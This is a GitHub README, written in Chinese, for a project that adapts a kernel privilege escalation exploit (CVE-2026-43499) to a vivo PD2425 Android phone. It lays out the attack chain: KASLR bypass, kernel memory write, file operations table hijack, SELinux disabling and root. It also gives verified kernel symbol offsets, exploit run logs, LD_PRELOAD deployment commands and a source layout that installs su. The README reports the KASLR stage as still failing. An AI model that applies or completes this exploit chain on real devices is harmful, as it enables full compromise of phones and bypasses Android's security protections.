LuZe0y/pd2425-cve-2026-43499-config

GitHub: LuZe0y/pd2425-cve-2026-43499-config

该项目是基于 GhostLock (CVE-2026-43499) 漏洞的 vivo PD2425 内核本地提权适配与调试工具链。

Stars: 0 | Forks: 0

# CVE-2026-43499 vivo PD2425 漏洞利用适配项目 基于 GhostLock 漏洞 (CVE-2026-43499) 的 vivo PD2425 (SM8650 / Android 14 / Kernel 6.1.145) 内核本地提权适配项目。 ## 项目状态 | 阶段 | 状态 | 说明 | |------|------|------| | NDK 编译 | 完成 | preload.so 编译通过 | | KernelSnitch mm_struct 泄露 | 完成 | leaked_mm 稳定获取 | | Page spray + skb 回收 | 完成 | reclaim send ret=65536 | | Futex CMP_REQUEUE_PI | 完成 | owner chain skipped (errno=35) — 预期行为 | | sched_setattr 抢占 | 完成 | sched_ok=1 | | **boot_id 覆盖 (KASLR 绕过)** | **阻塞** | 始终读取原始 UUID,内核写入未命中目标 | | P2 文件操作劫持 | 待定 | 依赖 kaslr_slide | | P3 SELinux + Root | 待定 | 依赖 P2 | ## 漏洞利用链 ``` P0: SLIDE 原语泄露内核指针 → KASLR 绕过 P1: SLIDE 原语内核内存写入 P2: 修改内核文件操作表 → 任意读写 P3: 关闭 SELinux → 提升至 root ``` ### 当前运行日志 ``` [+] preload starting pid=12789 [+] startup context pid=12789 uid=2000 euid=2000 gid=2000 egid=2000 attr=u:r:shell:s0 enforce=1 [+] build config pid=12789 label=pd2425_up1a_231005_007 p0_active=true slide=pselect main=pselect [+] p0 profile pid=12789 phys_offset=0000000080000000 kernel_phys_load=0000000080080000 delta=0000000000080000 slide_logger=ffffff8002252f98 bootid_data=ffffff80025fa548 init_task=ffffff800225fc00 root_tg=ffffff80024a2740 sysctl_bootid=ffffff80025fa548 [*] prepare_kernel_page geom mode=1 standalone_tcp=1 main_tcp=0 mm_struct_sz=1024 objs_per_slab=32 collisions=8 [*] prepare_kernel_page leaked_mm=ffffff885935c000 base=ffffff8859358000 mode=1 [*] fake payload mode=1 write_shape=0 standalone_tcp=1 main_tcp=0 delta=0 bias=e80 lock=ffffff8859359350 w0=ffffff885935a220 task=ffffff885935d800 task_off=5800 fops_off=1000 lock_top_delta=0 write_parent=ffffff8002252f00 write_right=0000000000000000 write_left=ffffff80025fa548 [*] sk_buff pcp send 1/1 ret=65536 errno=0 [*] sk_buff reclaim send 1/4 ret=65536 errno=0 [*] sk_buff reclaim send 2/4 ret=65536 errno=0 [*] sk_buff reclaim send 3/4 ret=65536 errno=0 [*] sk_buff reclaim send 4/4 ret=65536 errno=0 [*] slide attempt 1/20 uses pselect shift=1 [+] slide child context route=pselect pid=20317 uid=2000 euid=2000 gid=2000 egid=2000 attr=u:r:shell:s0 enforce=1 [*] slide consumer knobs core=1 consume_usec=0 consume_delay=2000 enter_delay=50000 [*] slide owner chain skipped (errno=35); held target [*] slide tcp enter page=ffffff8859358000 fake_lock=ffffff8859359350 fake_w0=ffffff885935a220 fake_task=ffffff885935d800 [*] slide tcp pair client=4 server=5 [*] slide tcp punch fd=3 page_size=4096 len=16777216 [*] slide tcp punch map=0x7298c00000 [*] slide tcp knobs attempts=2000 arm_seq=16 post_hold=20000 [*] slide consumer sched tid=20318 nice=1 alive_ret=0 alive_errno=0 sched_ret=0 sched_errno=0 [*] slide tcp seq=16 ret=0 errno=0 len=64 calls=1 sched_ok=0 last_sched_ret=-1 last_sched_errno=0 [*] slide tcp side effect calls=1 sched_ok=1 [-] slide bad leaked pointer=67406f9190b78536 ← 原始 boot_id UUID 值 [-] slide attempt 1 failed n=0 status=256 [*] prepare_kernel_page geom mode=1 standalone_tcp=1 main_tcp=0 mm_struct_sz=1024 objs_per_slab=32 collisions=8 ``` ## 设备信息 | 属性 | 值 | |------|-----| | 设备型号 | vivo PD2425 | | 平台 | Qualcomm SM8650 (Snapdragon 8 Gen 3) | | Android 版本 | 14 (UP1A.231005.007) | | 内核版本 | 6.1.145-android14-11-g | | 内核镜像偏移 | text_offset = 0x00000000 | | 物理内存基址 | P0_PHYS_OFFSET = 0x80000000 | | 内核物理加载地址 | P0_KERNEL_PHYS_LOAD = 0x80080000 | | 内核镜像基址 | KIMAGE_TEXT_BASE = 0xffffffc008000000 | | rt_mutex_waiter 大小 | 0x58 (紧凑模式) | ## 正在面临的问题 ### 1. boot_id 覆盖写入失败 (核心阻塞问题) **现象**: SLIDE 原语执行后,读取 `/proc/sys/kernel/random/boot_id` 返回的始终是原始 UUID 值 `67406f91-906f-4067-...`,而非写入的内核指针。 **已确认的事实**: - pselect 返回成功 + sched_ok=1 仅证明调度器抢占成功,**不证明内核写入已发生** - rmx3888 基准仓库的 `FIX_REPORT.md` 也记录了相同问题 - 物理地址常量已通过 ABL 逆向分析独立验证 (`P0_PHYS_OFFSET=0x80000000`, `P0_KERNEL_PHYS_LOAD=0x80080000`),排除了常量错误 **可能的原因**: 1. 回收的假页面 (fake page) 与内核 `sysctl_bootid` 对象之间的别名关系未建立 —— 写入无法命中目标地址 2. rt_mutex_waiter 结构布局与实际内核不匹配,导致 PI 树遍历时指针偏移错误 3. PD2425 的 `sysctl_bootid` 位于不同于 rmx3888 的内存区域,slab 回收策略不同 4. SLIDE 写入发生在错误的缓存行或页面上 **可能的解决方案**: 1. 使用 `SLIDE_WRITE_SCRATCH=1` 诊断写入是否到达假页面 2. 验证 slab 回收是否实际将假页面分配给目标 `sysctl_bootid` 对象 3. 研究通过其他内核对象 (如 `nfulnl_logger`) 建立替代的 KASLR 泄露路径 4. 尝试 `SLIDE_WONLY_BOOTID` 模式(简化 waiter 布局,仅写入 boot_id 字段) 5. 降低 `perf_event_paranoid` 级别以启用 perf_event_open KASLR 绕过(需要 root 权限先设置) 6. 通过 P0 物理地址 Oracle 直接计算内核基址(若已知物理内存布局) ### 2. perf_event_paranoid 限制 **现象**: `perf_event_open` 返回 `errno=13` (EACCES),当前设备 `perf_event_paranoid >= 2`,阻止非特权进程访问 perf 事件。 **可能的解决方案**: - 需要先获得某个特权级别才能修改 `/proc/sys/kernel/perf_event_paranoid` - 寻找其他不依赖 perf 的 KASLR 绕过方法 ## 已尝试且失败的方案 | 方案 | 原理 | 失败原因 | |------|------|---------| | tracefs sched_blocked_reason | 从 trace 管道读取阻塞事件中的 worker caller 地址 | caller 地址落在 vmalloc 模块区域,非内核镜像地址 | | tracefs irq_handler_entry | 从中断处理事件读取 handler 指针 | handler 字段为 ASCII 字符串 (如 "arch_tim"),非指针值 | | tracefs hrtimer_start | 从高精度定时器事件读取 handler 指针 | 所有 caller 地址均在模块空间 (0xffffffd0...) | | perf_event_open | 通过 perf 事件采样内核 IP 地址 | perf_event_paranoid 级别过高 (errno=13 EACCES) | | pselect 多 shift 值 | 尝试不同的 PSELECT_WAITER_WORD_SHIFT (0-7) | 所有 shift 值均返回相同错误 | ## 数据来源与作用 ### 内核符号与偏移 | 数据来源 | 路径/文件 | 作用 | |----------|----------|------| | boot.img (A2.zip) | 设备原始固件 | 提取内核镜像 (kernel.img) | | init_boot.img (A2.zip) | 设备原始固件 | 提取 ramdisk 和设备信息 | | symbols_pd2425.json | `vmlinux-to-elf` 工具输出 | 完整内核符号表,所有偏移均基于此精确验证 | | abl.img | 设备 ABL 分区 | 逆向分析验证 P0 物理内存常量 | ### 关键符号偏移 (已验证) | 符号 | 内核偏移 | 数据来源 | 用途 | |------|---------|---------|------| | `loggers[]` | 0x021d2ee0 | symbols_pd2425.json | nf_logger 数组基址 | | `nfulnl_logger` | 0x021d2f98 | symbols_pd2425.json | netfilter 日志对象 | | `sysctl_bootid` | 0x0257a548 | symbols_pd2425.json | boot_id UUID 缓冲区 | | `init_task` | 0x021dfc00 | symbols_pd2425.json | 初始任务结构体 | | `root_task_group` | 0x02422740 | symbols_pd2425.json | 根任务组 | | `selinux_enforcing_boot` | 0x0217a9d8 | symbols_pd2425.json | SELinux 执行状态 | | `ashmem_fops` | 0x013434b0 | symbols_pd2425.json | ashmem 文件操作表 | | `generic_file_splice_read` | 0x0045d078 | symbols_pd2425.json | splice 读取函数 | | `noop_llseek` | 0x0040f5e4 | symbols_pd2425.json | 空操作 seek | | `misc_fops` | 0x012e3ba0 | symbols_pd2425.json | misc 文件操作表 | ### 固件分析数据 | 数据来源 | 路径 | 作用 | |----------|------|------| | ABL 外容器 | ELF32 ARM (2.4 MB) | Android Bootloader | | ABL 压缩层 | LZMA 压缩 UEFI FV | 包含 LinuxLoader | | LinuxLoader | PE32+ AArch64 EFI Application | 内核加载器,验证 P0 常量 | | xbl_config.img | XBL 配置分区 | 验证 DDR 内存区域起始地址 | ### ABL 关键常量 (已验证) | 偏移 | 值 | 含义 | |------|-----|------| | 0x8caa0 | 0x00080000 | ARM64 内核加载偏移 | | 0x8caa4 | 0x05600000 | ARM64 内核区域大小 (86 MB) | | xbl_config | memory@80000000 | 第一个 DDR 内存区域 | ## 编译与部署 ### 环境要求 - Android NDK r29 (或更高版本) - 目标 API Level: 35 ### 编译 ``` make PROJECT=PD2425-UP1A.231005.007 ``` 产物: `build/PD2425-UP1A.231005.007/bin/preload.so` ### 部署 ``` adb push preload.so /data/local/tmp/preload.so adb shell chmod 755 /data/local/tmp/preload.so adb shell LD_PRELOAD=/data/local/tmp/preload.so id ``` ### 诊断选项 ``` # 详细日志 adb shell SLIDE_QUIET_CONSUMER=0 LD_PRELOAD=/data/local/tmp/preload.so id # 查看完整 futex 日志 adb shell SLIDE_QUIET_FUTEX=0 LD_PRELOAD=/data/local/tmp/preload.so id # 指定 shift 值 adb shell SLIDE_SHIFT=3 LD_PRELOAD=/data/local/tmp/preload.so id # 写入 scratch 诊断 adb shell SLIDE_WRITE_SCRATCH=1 LD_PRELOAD=/data/local/tmp/preload.so id ``` ## 项目结构 ``` . ├── Makefile # 编译系统 ├── README.md # 本文档 ├── assets/ │ └── wallpaper.webp # 壁纸资源 └── src/ ├── common.h # 公共头文件 ├── offset.h # 目标配置路由 ├── realtime_log.h # 实时日志 ├── main.c # 主入口 ├── fops.c # 文件操作劫持 (P2) ├── pipe.c # 管道物理读写 (P2) ├── root.c # SELinux + Root (P3) ├── preload.c # LD_PRELOAD 入口 + su 安装 ├── slide.c # 通用 SLIDE 实现 (fallback) ├── su_blob.S # su 二进制嵌入 ├── su_daemon.c # su daemon ├── wallpaper_blob.S # 壁纸二进制嵌入 ├── kernelsnitch/ │ ├── futex_hash.h # futex 哈希 │ ├── kernelsnitch.h # KernelSnitch 核心 │ ├── timeutils.h # 时间工具 │ └── utils.h # 通用工具 └── targets/ └── PD2425-UP1A.231005.007/ ├── target.h # PD2425 专用配置与偏移 ├── slide.c # PD2425 专用 SLIDE 实现 └── util.c # PD2425 专用工具函数 ``` ## 参考文档 - [CVE-2026-43499 (GhostLock) 原始漏洞](https://github.com/Bailan766/rmx3888-cve-2026-43499-config) — 基准仓库 (rmx3888) - [Root-My-Galaxy-Payloads](https://github.com/BuSung-dev/Root-My-Galaxy-Payloads) — Samsung S928U1 适配参考 (tracefs KASLR 绕过方案) - [duchamp-root](https://github.com/Colorful-glassblock/duchamp-root) — Redmi K70 Ultra 适配参考 (perf_event_open KASLR 绕过方案) - [S928U1 ABL 分析文档](https://github.com/BuSung-dev/Root-My-Galaxy-Payloads/blob/main/docs/SM-S928U1-S928U1UES6DZF2.md) — ABL 分析方法论 - [NebuSec/CyberMeowfia commit c87b866](https://github.com/NebuSec/CyberMeowfia/commit/c87b866) — 适配过程中的关键参考提交 - [Android NDK r29](https://developer.android.com/ndk/downloads) — 编译工具链 - [vmlinux-to-elf](https://github.com/marin-m/vmlinux-to-elf) — 内核符号恢复工具
标签:Android安全, KASLR绕过, Web报告查看器, 内核提权, 客户端加密, 目录枚举, 移动安全